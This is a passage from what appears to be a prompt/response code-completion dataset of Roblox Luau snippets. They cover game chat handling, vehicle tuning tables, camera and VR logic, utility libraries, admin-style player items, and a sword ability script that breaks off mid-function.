local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")

OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
	if not checkAllowedMessageType(messageData) then
		return
	end

	local sender = findPlayer(messageData.FromSpeaker)
	if not sender then
		return
	end

	if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
		if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
			return
		end
	end

	this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)

OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
	if not checkAllowedMessageType(messageData) then
		return
	end

	local sender = findPlayer(messageData.FromSpeaker)
	if not sender then
		return
	end

	if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
		return
	end

	this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)


Prompt: ----- Water particle handler -----

Response:
function waterOutput()
	if script.Parent.ColdOn.Value == false and script.Parent.HotOn.Value == false then
		faucetParticles.Enabled = false
		showerHead.Enabled = false
		bathSound:Stop()
		showerSound:Stop()
	elseif script.Parent.ShowerMode.Value == false then
		faucetParticles.Enabled = true
		showerHead.Enabled = false
		bathSound:Play()
		showerSound:Stop()
	else
		faucetParticles.Enabled = false
		showerHead.Enabled = true
		bathSound:Stop()
		showerSound:Play()
	end
end

script.Parent.ColdOn.Changed:connect(function()
	waterOutput()
end)

script.Parent.HotOn.Changed:connect(function()
	waterOutput()
end)

script.Parent.ShowerMode.Changed:connect(function()
	waterOutput()
end)


Prompt: -- Get references to the DockShelf and its children

Response:
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local dockbtn = dockShelf.ICalculator
local aFinderButton = dockShelf.AFinder
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent


Prompt:
--[=[
	@class SpringObject
]=]

Response:
local require = require(script.Parent.loader).load(script)

local RunService= game:GetService("RunService")

local Spring = require("Spring")
local Maid = require("Maid")
local Signal = require("Signal")
local StepUtils = require("StepUtils")
local Observable = require("Observable")
local SpringUtils = require("SpringUtils")
local Blend = require("Blend")
local Rx = require("Rx")

local SpringObject = {}
SpringObject.ClassName = "SpringObject"
SpringObject.__index = SpringObject


Prompt: --Made by Stickmasterluke

Response:
sp=script.Parent

speedboost=2		--100% speed bonus
speedforsmoke=10	--smoke apears when character running >= 10 studs/second.

function waitfor(a,b,c)
	local c=c or 5*60
	local d=tick()+c
	while a:FindFirstChild(b)==nil and tick()<=d do
		wait()
	end
	return a:FindFirstChild(b)
end

local tooltag=waitfor(script,"ToolTag",2)
if tooltag~=nil then
	local tool=tooltag.Value
	local h=sp:FindFirstChild("Humanoid")
	if h~=nil then
		h.WalkSpeed=16+10*speedboost
		local t=sp:FindFirstChild("Torso")
		if t~=nil then
			smokepart=Instance.new("Part")
			smokepart.FormFactor="Custom"
			smokepart.Size=Vector3.new(0,0,0)
			smokepart.TopSurface="Smooth"
			smokepart.BottomSurface="Smooth"
			smokepart.CanCollide=false
			smokepart.Transparency=1
			local weld=Instance.new("Weld")
			weld.Name="SmokePartWeld"
			weld.Part0=t
			weld.Part1=smokepart
			weld.C0=CFrame.new(0,-3.5,0)*CFrame.Angles(math.pi/4,0,0)
			weld.Parent=smokepart
			smokepart.Parent=sp
			smoke=Instance.new("Fire")
			smoke.Enabled=t.Velocity.magnitude>speedforsmoke
			smoke.Size=5
			smoke.Parent=smokepart
			h.Running:connect(function(speed)
				if smoke and smoke~=nil then
					smoke.Enabled=speed>speedforsmoke
				end
			end)
		end
	end
	while tool~=nil and tool.Parent==sp and h~=nil do
		sp.ChildRemoved:wait()
	end
	local h=sp:FindFirstChild("Humanoid")
	if h~=nil then
		h.WalkSpeed=16
	end
end

if smokepart~=nil then
	smokepart:remove()
end
script:remove()


Prompt: -- Must have hopped on a segway

Response:
SegwayObject.Changed:connect(function()
	if SegwayObject.Value ~= nil and SegwayObject.Value.Parent then
		if UserInputService.VREnabled then
			Camera.CameraType = "Scriptable"
		else
			Camera.CameraType = "Follow"
		end
		Lights = SegwayObject.Value:WaitForChild("Lights")
		Notifiers = SegwayObject.Value:WaitForChild("Notifiers")
		Character = Player.Character
		Humanoid = Character:WaitForChild("Humanoid")
		PlayerGui = Player.PlayerGui
		SitListener = Humanoid.Seated:connect(function()Hopoff(Character)end)
		JumpListener = UserInputService.JumpRequest:connect(function()Hopoff(Character)end)
		ConfigLights:FireServer(0,"Cyan",true,"Neon",Lights,Notifiers)
		CheckMobile()
		CheckVR()
		IsOnSegway = true
	end
end)

SetGuiButtons()

while game:GetService("RunService").RenderStepped:wait() do

	-- Update segway's bottom direction
	CastToGround()

	if SegwayObject.Value and SegwayObject.Value.Parent and SeaterObject.Value and Thruster.Value and TiltMotor.Value then

		-- Move segway
		Accelerate()

		-- Change sound of segway
		Sound()

		-- Tilts the segway
		Tilt()

		UpdateVRPos()

	elseif IsOnSegway then
		IsOnSegway = false
		UpdateCharTrans(0,0)
	end

end


Prompt: -- declarations

Response:
local sDied = newSound("")
sDied.Pitch = 1.89
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/hit.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true

local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")


Prompt: --Control Mapping

Response:
Tune.Controls = {

	--Keyboard Controls
	--Mode Toggles
	ToggleTCS				= Enum.KeyCode.T					,
	ToggleABS				= Enum.KeyCode.Y					,
	ToggleTransMode			= Enum.KeyCode.M					,
	ToggleMouseDrive		= Enum.KeyCode.R					,

	--Primary Controls
	Throttle				= Enum.KeyCode.Up					,
	Brake					= Enum.KeyCode.Down					,
	SteerLeft				= Enum.KeyCode.Left					,
	SteerRight				= Enum.KeyCode.Right				,

	--Secondary Controls
	Throttle2				= Enum.KeyCode.W					,
	Brake2					= Enum.KeyCode.S					,
	SteerLeft2				= Enum.KeyCode.A					,
	SteerRight2				= Enum.KeyCode.D					,

	--Manual Transmission
	ShiftUp					= Enum.KeyCode.E					,
	ShiftDown				= Enum.KeyCode.Q					,
	Clutch					= Enum.KeyCode.LeftShift			,

	--Handbrake
	PBrake					= Enum.KeyCode.P					,

	--Mouse Controls
	MouseThrottle			= Enum.UserInputType.MouseButton1	,
	MouseBrake				= Enum.UserInputType.MouseButton2	,
	MouseClutch				= Enum.KeyCode.W					,
	MouseShiftUp			= Enum.KeyCode.E					,
	MouseShiftDown			= Enum.KeyCode.Q					,
	MousePBrake				= Enum.KeyCode.LeftShift			,

	--Controller Mapping
	ContlrThrottle			= Enum.KeyCode.ButtonR2				,
	ContlrBrake				= Enum.KeyCode.ButtonL2				,
	ContlrSteer				= Enum.KeyCode.Thumbstick1			,
	ContlrShiftUp			= Enum.KeyCode.ButtonY				,
	ContlrShiftDown			= Enum.KeyCode.ButtonX				,
	ContlrClutch			= Enum.KeyCode.ButtonR1				,
	ContlrPBrake			= Enum.KeyCode.ButtonL1				,
	ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
	ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
	ContlrToggleABS			= Enum.KeyCode.DPadRight			,
}


Response:
function onClicked()
Car.BodyVelocity.velocity = Vector3.new(0, -5, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Response:
function uisBinds:BindToInput(actionName, func, ...)
	local binds = {...};
	self.connections[actionName] = {}

	for i = 1, #binds do
		local keycode = binds[i];
		self.connections[actionName][keycode] = {
			UIS.InputBegan:Connect(function(input, process)
				if (input.KeyCode == keycode) then
					func(actionName, input.UserInputState, input);
				end
			end),

			UIS.InputChanged:Connect(function(input, process)
				if (input.KeyCode == keycode) then
					func(actionName, input.UserInputState, input);
				end
			end),

			UIS.InputEnded:Connect(function(input, process)
				if (input.KeyCode == keycode) then
					func(actionName, input.UserInputState, input);
				end
			end)
		}
	end
end

function uisBinds:UnbindAction(actionName)
	for keycode, array in next, self.connections[actionName] do
		for i = 1, #array do
			array[i]:Disconnect();
		end
	end
	self.connections[actionName] = nil;
end


Prompt: --Made by Luckymaxer

Response:
Camera = game:GetService("Workspace").CurrentCamera

Rate = (1 / 60)

Shake = {Movement = 40, Rate = 0.001}

local CoordinateFrame = Camera.CoordinateFrame
local Focus = Camera.Focus
while true do
	local CameraRotation = Camera.CoordinateFrame - Camera.CoordinateFrame.p
	local CameraScroll = (CoordinateFrame.p - Focus.p).magnitude
	local NewCFrame = CFrame.new(Camera.Focus.p) * CameraRotation * CFrame.fromEulerAnglesXYZ((math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), (math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), 0)
	CoordinateFrame = NewCFrame * CFrame.new(0, 0, CameraScroll)
	Camera.CoordinateFrame = CoordinateFrame
	wait(Rate)
end


Prompt: -- [[ End VR Support Section ]] --

Response: return BaseCamera


Prompt:
--[[**
	"Links" this Janitor to an Instance, such that the Janitor will `Cleanup` when the Instance is `Destroyed()` and garbage collected. A Janitor may only be linked to one instance at a time, unless `AllowMultiple` is true. When called with a truthy `AllowMultiple` parameter, the Janitor will "link" the Instance without overwriting any previous links, and will also not be overwritable. When called with a falsy `AllowMultiple` parameter, the Janitor will overwrite the previous link which was also called with a falsy `AllowMultiple` parameter, if applicable.
	@param [t:Instance] Object The instance you want to link the Janitor to.
	@param [t:boolean?] AllowMultiple Whether or not to allow multiple links on the same Janitor.
	@returns [t:RbxScriptConnection] A pseudo RBXScriptConnection that can be disconnected.
**--]]

Response:
function Janitor.__index:LinkToInstance(Object, AllowMultiple)
	local Connection
	local IndexToUse = AllowMultiple and newproxy(false) or LinkToInstanceIndex
	local IsNilParented = Object.Parent == nil
	local ManualDisconnect = setmetatable({}, Disconnect)

	local function ChangedFunction(_DoNotUse, NewParent)
		if ManualDisconnect.Connected then
			_DoNotUse = nil
			IsNilParented = NewParent == nil

			if IsNilParented then
				coroutine.wrap(function()
					Heartbeat:Wait()
					if not ManualDisconnect.Connected then
						return
					elseif not Connection.Connected then
						self:Cleanup()
					else
						while IsNilParented and Connection.Connected and ManualDisconnect.Connected do
							Heartbeat:Wait()
						end

						if ManualDisconnect.Connected and IsNilParented then
							self:Cleanup()
						end
					end
				end)()
			end
		end
	end

	Connection = Object.AncestryChanged:Connect(ChangedFunction)
	ManualDisconnect.Connection = Connection

	if IsNilParented then
		ChangedFunction(nil, Object.Parent)
	end

	Object = nil
	return self:Add(ManualDisconnect, "Disconnect", IndexToUse)
end


Prompt: -- << SETUP ITEMS (items which continue on respawn) >>

Response:
function module:SetupItem(player, itemName, playerRespawned)
	if playerRespawned then
		wait(0.1)
	end
	local pdata = main.pd[player]
	local item = pdata.Items[itemName]
	local head = main:GetModule("cf"):GetHead(player)
	if head and pdata then

		if itemName == "FreezeBlock" then
			main:GetModule("cf"):Movement(false, player)
			main:GetModule("cf"):SetTransparency(player.Character, 1)
			if item:FindFirstChild("FreezeClone") then
				main.signals.SetCameraSubject:FireClient(player, (item.FreezeClone.Humanoid))
			end

		elseif itemName == "JailCell" then
			head.CFrame = item.Union.CFrame

		elseif itemName == "ControlPlr" then
			local plr = item.Value
			local controllerHumanoid = main:GetModule("cf"):GetHumanoid(player)
			if plr and controllerHumanoid then
				main:GetModule("MorphHandler"):BecomeTargetPlayer(player, plr.UserId)
				main.signals.SetCameraSubject:FireClient(player, (controllerHumanoid))
				main:GetModule("cf"):CreateFakeName(player, plr.Name)
			else
				main:GetModule("cf"):RemoveControlPlr(player)
			end

		elseif itemName == "UnderControl" then
			local controller = item.Value
			local controllerHumanoid = main:GetModule("cf"):GetHumanoid(controller)
			if controller and controllerHumanoid then
				main.signals.SetCameraSubject:FireClient(player, (controllerHumanoid))
				--main:GetModule("cf"):SetTransparency(player.Character, 1, true)
				--main:GetModule("cf"):Movement(false, player)
				player.Character.Parent = nil
			else
				main:GetModule("cf"):RemoveUnderControl(player)
			end

			-- Controler
			-- Plr

		end
	end
end

return module


Prompt: -- ROBLOX deviation end

Response:
local function getCommonMessage(message: string, options: DiffOptions?)
	local commonColor = normalizeDiffOptions(options)["commonColor"]
	return commonColor(message)
end


Prompt: --vars

Response:
local weldbholestoanchoredparts = false --when you repeatedly weld new stuff to lets say a base it will start bouncing people up
local headrotationx = 0
local adsing = false
local sprinte = false
local savedws
local headoffset = Instance.new("Weld", handle)
headoffset.Name = "headoffsetholder"
headoffset.C0 = CFrame.new()
local movehead = true
local rayignore = {}


Prompt:
--[[**
	ensures Lua primitive thread type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response: t.thread = t.typeof("thread")


Prompt:
--[[**
	Checks if the given group is an ally of the target group and vice-versa.
	@param [Integer] GroupID The group you are checking.
	@param [Integer] TargetGroupID The group you are checking.
	@returns [Boolean] Whether or not the groups are allies.
**--]]

Response:
function GroupService:IsGroupAlly(GroupID, TargetGroupID)
	for _, Group in ipairs(GroupService:GetGroupAlliesAsync(GroupID)) do
		if Group.Id == TargetGroupID then
			return true
		end
	end

	return false
end


Prompt: --Rear Suspension

Response:
Tune.RSusDamping	= 5		-- Spring Dampening
Tune.RSusStiffness	= 150		-- Spring Force
Tune.FAntiRoll 		= 0		-- Anti-Roll (Gyro Dampening)

Tune.RSusLength		= 10			-- Suspension length (in studs)
Tune.RPreCompress	= 5		-- Pre-compression adds resting length force
Tune.RExtensionLim	= 2		-- Max Extension Travel (in studs)
Tune.RCompressLim	= .5		-- Max Compression Travel (in studs)
Tune.RSusAngle		= 70		-- Suspension Angle (degrees from horizontal)

Tune.RWsBoneLen		= 5			-- Wishbone Length
Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	--[[Lateral]]		-.4		,	-- positive = outward
	--[[Vertical]]		-.5		,	-- positive = upward
	--[[Forward]]		0		}	-- positive = forward


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 150		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 1400		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 7500		--		Use sliders to manipulate values
	Tune.Redline		= 8500		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 6000
	Tune.PeakSharpness	= 10.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: --// F key, HornOn

Response:
mouse.KeyDown:connect(function(key)
	if key=="f" then
		veh.Lightbar.middle.Airhorn:Play()
		veh.Lightbar.middle.Wail.Volume = 0
		veh.Lightbar.middle.Yelp.Volume = 0
		veh.Lightbar.middle.Priority.Volume = 0
		veh.Lightbar.AH.Transparency = 0
	end
end)


Prompt:
---- IconMap ----
-- Image size: 256px x 256px
-- Icon size: 16px x 16px
-- Padding between each icon: 2px
-- Padding around image edge: 1px
-- Total icons: 14 x 14 (196)

Response:
local Icon, ClassIcon do
	local iconMap = 'http://www.roblox.com/asset/?id=' .. MAP_ID
	game:GetService('ContentProvider'):Preload(iconMap)
	local iconDehash do
		-- 14 x 14, 0-based input, 0-based output
		local f=math.floor
		function iconDehash(h)
			return f(h/14%14),f(h%14)
		end
	end

	function Icon(IconFrame,index)
		local row,col = iconDehash(index)
		local mapSize = Vector2_new(256,256)
		local pad,border = 2,1
		local iconSize = 16

		local class = 'Frame'
		if type(IconFrame) == 'string' then
			class = IconFrame
			IconFrame = nil
		end

		if not IconFrame then
			IconFrame = Create(class,{
				Name = "Icon";
				BackgroundTransparency = 1;
				ClipsDescendants = true;
				Create('ImageLabel',{
					Name = "IconMap";
					Active = false;
					BackgroundTransparency = 1;
					Image = iconMap;
					Size = UDim2_new(mapSize.x/iconSize,0,mapSize.y/iconSize,0);
				});
			})
		end

		IconFrame.IconMap.Position = UDim2_new(-col - (pad*(col+1) + border)/iconSize,0,-row - (pad*(row+1) + border)/iconSize,0)
		return IconFrame
	end

	function ClassIcon(IconFrame, index)
		local offset = index * 16

		local class = 'Frame'
		if type(IconFrame) == 'string' then
			class = IconFrame
			IconFrame = nil
		end

		if not IconFrame then
			IconFrame = Create(class,{
				Name = "Icon";
				BackgroundTransparency = 1;
				ClipsDescendants = true;
				Create('ImageLabel',{
					Name = "IconMap";
					BackgroundTransparency = 1;
					Image = CLASS_MAP_ID;
					ImageRectSize = Vector2_new(16, 16);
					ImageRectOffset = Vector2_new(offset, 0);
					Size = UDim2_new(1, 0, 1, 0);
					Parent = IconFrame
				});
			})
		end

		IconFrame.IconMap.ImageRectOffset = Vector2_new(offset, 0);
		return IconFrame
	end
end


Prompt: --- Gets a list of all possible values that could match based on the current value.

Response:
function Argument:GetAutocomplete()
	if self.Type.Autocomplete then
		return self.Type.Autocomplete(self:GetTransformedValue(#self.TransformedValues))
	else
		return {}
	end
end

function Argument:ParseValue(i)
	if self.Type.Parse then
		return self.Type.Parse(self:GetTransformedValue(i))
	else
		return self:GetTransformedValue(i)
	end
end


Prompt: -- Events

Response: MousePosition = Events:WaitForChild("MousePosition")


Prompt: --[[Steering]]

Response:
	Tune.SteerInner		= 70		-- Inner wheel steering angle (in degrees)
	Tune.SteerOuter		= 70		-- Outer wheel steering angle (in degrees)
	Tune.SteerSpeed		= .5		-- Steering increment per tick (in degrees)
	Tune.ReturnSpeed	= .5		-- Steering increment per tick (in degrees)
	Tune.SteerDecay		= 320		-- Speed of gradient cutoff (in SPS)
	Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
	Tune.MSteerExp		= 1			-- Mouse steering exponential degree

	--Steer Gyro Tuning
	Tune.SteerD			= 1200		-- Steering Dampening
	Tune.SteerMaxTorque	= 50000		-- Steering Force
	Tune.SteerP			= 8000		-- Steering Aggressiveness


Prompt:
--[[

Want an explanation of the script? ٩(｡•́‿•̀｡)۶
https://youtu.be/a6WMCfSZF8k (Shirooo)

--]]

Response:
game:GetService('StarterGui'):SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)

 --< variables >--
local uis = game:GetService("UserInputService")
local player = game.Players.LocalPlayer
local char = workspace:WaitForChild(player.Name) -- added WaitForChild
local bp = player.Backpack
local hum = char:WaitForChild("Humanoid")
local frame = script.Parent.Frame
local template = frame.Template
local equipped = 0.2 -- icon transparencies
local unequipped = 0.7

local iconSize = template.Size
local iconBorder = {x = 15, y = 5} -- pixel space between icons

local inputKeys = { -- dictionary for effective referencing
	["One"] = {txt = "1"},
	["Two"] = {txt = "2"},
	["Three"] = {txt = "3"},
	["Four"] = {txt = "4"},
	["Five"] = {txt = "5"},
	["Six"] = {txt = "6"},
	["Seven"] = {txt = "7"},
	["Eight"] = {txt = "8"},
	["Nine"] = {txt = "9"},
	["Zero"] = {txt = "0"},
}

local inputOrder = { -- array for storing the order of the keys
	inputKeys["One"],inputKeys["Two"],inputKeys["Three"],inputKeys["Four"],inputKeys["Five"],
	inputKeys["Six"],inputKeys["Seven"],inputKeys["Eight"],inputKeys["Nine"],inputKeys["Zero"],
}


Prompt: ---[[ Font Settings ]]

Response:
module.DefaultFont = Enum.Font.GothamSemibold
module.ChatBarFont = Enum.Font.GothamSemibold


Prompt:
--[=[
	Extracts the base value out of a packed linear value if needed.

	@param value LinearValue<T> | any
	@return T | any
]=]

Response:
function SpringUtils.fromLinearIfNeeded(value)
	if LinearValue.isLinear(value) then
		return value:ToBaseValue()
	else
		return value
	end
end

return SpringUtils


Prompt:
--	local function make()
--		local p = Instance.new("Part")
--		p.Anchored = true;
--		p.CanCollide = false
--		p.Size = Vector3.new(0,0,0)
--		p.Parent = workspace
--		return p
--	end
--
--	Pets.Visualize = {make(),make(),make(),make()}

Response:
	function Pets:GetHeight(char_cf, instance)

		local instance_extents = instance:GetExtentsSize()
		local center, size = instance:GetBoundingBox()
		local points = {(center:PointToWorldSpace(Vector3.new(size.X/2,-size.Y/2,size.Z/2))),
			(center:PointToWorldSpace(Vector3.new(-size.X/2,-size.Y/2,-size.Z/2))),
			(center:PointToWorldSpace(Vector3.new(size.X/2,-size.Y/2,-size.Z/2))),
			(center:PointToWorldSpace(Vector3.new(-size.X/2,-size.Y/2,size.Z/2)))
		}

		local ignore = {instance, Player.Character}
		local height

		local all_height = {}


Prompt: --[[Weight and CG]]

Response:
	Tune.Weight			= 2871		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		15		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible

	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]

	Tune.AxleSize		= 2.17			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members


Prompt: -- defines subject and height of VR camera

Response:
function VRBaseCamera:GetVRFocus(subjectPosition, timeDelta)
	local lastFocus = self.lastCameraFocus or subjectPosition

	self.cameraTranslationConstraints = Vector3.new(
		self.cameraTranslationConstraints.x,
		math.min(1, self.cameraTranslationConstraints.y + timeDelta),
		self.cameraTranslationConstraints.z)

	local cameraHeightDelta = Vector3.new(0, self:GetCameraHeight(), 0)
	local newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):
			Lerp(subjectPosition + cameraHeightDelta, self.cameraTranslationConstraints.y))

	return newFocus
end


Prompt:
--[[
    Calls destroy on all objects and clears the entire registry
]]

Response:
function Registry:removeAll()
	for _, object in pairs(self.objects) do
		object:destroy()
	end
	self.objects = {}
end

return Registry


Prompt: -- ROBLOX MOVED: expect/utils.lua

Response:
local function iterableEquality(a: any, b: any, aStack: Array<any>, bStack: Array<any>): boolean | nil
	aStack = aStack or {}
	bStack = bStack or {}

	if getType(a) ~= "set" or getType(b) ~= "set" then
		return nil
	end

	-- ROBLOX deviation: omitting constructor check

	local length = #aStack
	while length > 0 do
		-- Linear search. Performance is inversely proportional to the number of
		-- unique nested structures.
		-- circular references at same depth are equal
		-- circular reference is not equal to non-circular one
		if aStack[length] == a then
			return bStack[length] == b
		end

		-- ROBLOX deviation: this if check is not included in upstream
		-- if bStack[length] == b then
		-- 	return aStack[length] == a
		-- end

		length -= 1
	end

	table.insert(aStack, a)
	table.insert(bStack, b)

	local function iterableEqualityWithStack(localA: any, localB: any)
		return iterableEquality(localA, localB, { unpack(aStack) }, { unpack(bStack) })
	end

	-- ROBLOX TODO: (ADO-1217) If we eventually have a Map polyfill, we can
	-- expand this to include the Map case as well
	if a.size ~= nil then
		if a.size ~= b.size then
			return false
		elseif isA("set", a) then
			local allFound = true
			for _, aValue in a:ipairs() do
				if not b:has(aValue) then
					local has = false
					for _, bValue in b:ipairs() do
						local isEqual = equals(aValue, bValue, { iterableEqualityWithStack })
						if isEqual == true then
							has = true
						end
					end

					if has == false then
						allFound = false
						break
					end
				end
			end
			table.remove(aStack)
			table.remove(bStack)
			return allFound
		end
	end

	return nil

	-- ROBLOX deviation: omitted section of code for handling the case of a different
	-- kind of iterable not covered by the above Set case
end


Prompt: --//The logic behind the Starlight Sword's Chain-reaction ability

Response:
local Properties = {
	Duration = 0, -- The current time the ability is active
	MaxDuration = 5, -- How long can the ability delay itself before it fully executes.
	LinkDamage = 10 -- The amount of damage multiplied per-person linked.
}

local FindFirstChild, FindFirstChildOfClass, WaitForChild = script.FindFirstChild, script.FindFirstChildOfClass, script.WaitForChild

local Clone, Destroy = script.Clone, script.Destroy

local Handle = WaitForChild(script, "HandleRef", 5)
local Creator = WaitForChild(script, "Creator", 5)
local InitialTarget = WaitForChild(script, "InitialTarget", 5)

if not InitialTarget or not InitialTarget.Value or not Handle or not Handle.Value or not Creator then script:Destroy() end

Handle = Handle.Value
Creator = Creator.Value
InitialTarget = InitialTarget.Value

local TargetTorso = (FindFirstChild(InitialTarget.Parent, "Torso") or FindFirstChild(InitialTarget.Parent, "UpperTorso"))

local Humanoid = FindFirstChildOfClass(Creator.Character, "Humanoid")

local Players = (game:FindService("Players") or game:GetService("Players"))
local Debris = (game:FindService("Debris") or game:GetService("Debris"))
local RunService = (game:FindService("RunService") or game:GetService("RunService"))

print("Starlight Link ability activated! Tag as much people as you can before " .. Properties.MaxDuration .. " seconds is up!")

local NewRay = Ray.new

local GetChildren, GetDescendants = script.GetChildren, script.GetDescendants

local IsA = script.IsA

function IsTeamMate(Player1, Player2)
	return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end

function TagHumanoid(humanoid, player)
	local Creator_Tag = Instance.new("ObjectValue")
	Creator_Tag.Name = "creator"
	Creator_Tag.Value = player
	Debris:AddItem(Creator_Tag, 2)
	Creator_Tag.Parent = humanoid
end

function UntagHumanoid(humanoid)
	for i, v in pairs(GetChildren(humanoid)) do
		if IsA(v,"ObjectValue") and v.Name == "creator" then
			Destroy(v)
		end
	end
end

local Deletables, Events = {}, {} --Put objects in the tables to discard when we're done.

local DurationValue = Instance.new("NumberValue")
DurationValue.Value = Properties.Duration
DurationValue.Name = "Duration"
DurationValue.Parent = script

local Attach = Instance.new("Attachment")
Deletables[#Deletables+1] = Attach

Attach.Name = "Constellation_Link"
Attach.Position = Vector3.new(0,0,0)

Attach.Parent = TargetTorso

local NewColorSequence = ColorSequence.new
local Color_1, Color_2 = Color3.fromRGB(0,170,255), Color3.new(1,1,1)

local Queue, AttachQueue, SparkleQueue = {}, {}, {}
local Sounds = {}
pcall(function()

	local Sparkles = Clone(script["Sparkle_Large_Blue"])
	SparkleQueue[#SparkleQueue+1] = Sparkles
	Deletables[#Deletables+1] = Sparkles

	Sparkles.Parent = TargetTorso

	Sparkles.Enabled = true

	Events[#Events+1] = DurationValue:GetPropertyChangedSignal("Value"):Connect(function()
		Sparkles.Color = NewColorSequence(Color_1:Lerp(Color_2, Properties.Duration/Properties.MaxDuration), Color_2)
	end)

end)

pcall(function()
	local ExplodeSound = Clone(script.ExplodeSound)
	Sounds[#Sounds+1] = ExplodeSound
	ExplodeSound.Parent = Attach
end)

local LastAttachment = Attach --Reference the last attachment point we made.

local Hit_WhiteList, TaggedHumanoids = {}, {}
TaggedHumanoids[InitialTarget] = InitialTarget
local Total = 1

Queue[#Queue+1] = InitialTarget
AttachQueue[#AttachQueue+1] = Attach

function Link(hit)

	if not hit or not hit.Parent then return end

	Hit_WhiteList[1] = hit --Replace the Whitelisted entry (Also helps reduce lag)

	--Do a Server-sided check to make sure the sword is in reasonable distance to the part hit (To prevent exploits)

	local DistanceRay = NewRay( Handle.Position , (hit.Position - Handle.Position).Unit * math.max(Handle.Size.X,Handle.Size.Y,Handle.Size.Z) * 2 )

	local part = workspace:FindPartOnRayWithWhitelist(DistanceRay, Hit_WhiteList , true)

	--warn((part and "Part in range") or "Part not in range")
	--assert(part, "Part not in range: Potential exploit")
	if part ~= hit then return end -- Potential exploiter may be abusing the touched events

	local FF, Hum, Torso = FindFirstChildOfClass(hit.Parent, "ForceField"), FindFirstChildOfClass(hit.Parent, "Humanoid"), (FindFirstChild(hit.Parent, "Torso") or FindFirstChild(hit.Parent, "UpperTorso"))

	if FF or not Hum or not Torso or Hum == Humanoid or Hum.Health <= 0 or TaggedHumanoids[Hum] then return end --Don't hit yourself or anyone with a ForceField now..

	if IsTeamMate(Creator, Players:GetPlayerFromCharacter(Hum.Parent)) then return end

	TaggedHumanoids[Hum] = Hum --We got one!

	Queue[#Queue+1] = Hum

	Attach = Instance.new("Attachment")
	AttachQueue[#AttachQueue+1] = Attach

	pcall(function()
		local ExplodeSound = Clone(script.ExplodeSound)
		Sounds[#Sounds+1] = ExplodeSound
		ExplodeSound.Parent = Attach
	end)

	Deletables[#Deletables+1] = Attach

	Attach.Name = "Constellation_Link"
	Attach.Position = Vector3.new(0,0,0)

	--warn(LastAttachment)

	if LastAttachment then
		--Create a Constellation Beam from one target to another
		pcall(function()

			local Constellation_Beam = Clone(script["Constellation_Beam"])
			Deletables[#Deletables+1] = Constellation_Beam

			Constellation_Beam.Attachment0 = LastAttachment
			Constellation_Beam.Attachment1 = Attach
			Constellation_Beam.Enabled = true

			Constellation_Beam.Parent = Attach

			Events[#Events+1] = DurationValue:GetPropertyChangedSignal("Value"):Connect(function()
				Constellation_Beam.Color = NewColorSequence(Color_1:Lerp(Color_2, Properties.Duration/Properties.MaxDuration))
			end)

			--print("Linked Targets!")

		end)

	end

	pcall(function()

		local Sparkles = Clone(script["Sparkle_Large_Blue"])
		Deletables[#Deletables+1] = Sparkles
		SparkleQueue[#SparkleQueue+1] = Sparkles

		Sparkles.Parent = Torso

		Sparkles.Enabled = true

		Events[#Events+1] = DurationValue:GetPropertyChangedSignal("Value"):Connect(function()
			Sparkles.Color = NewColorSequence(Color_1:Lerp(Color_2, Properties.Duration/Properties.MaxDuration), Color_2)
		end)

	end)

	Attach.Parent = Torso

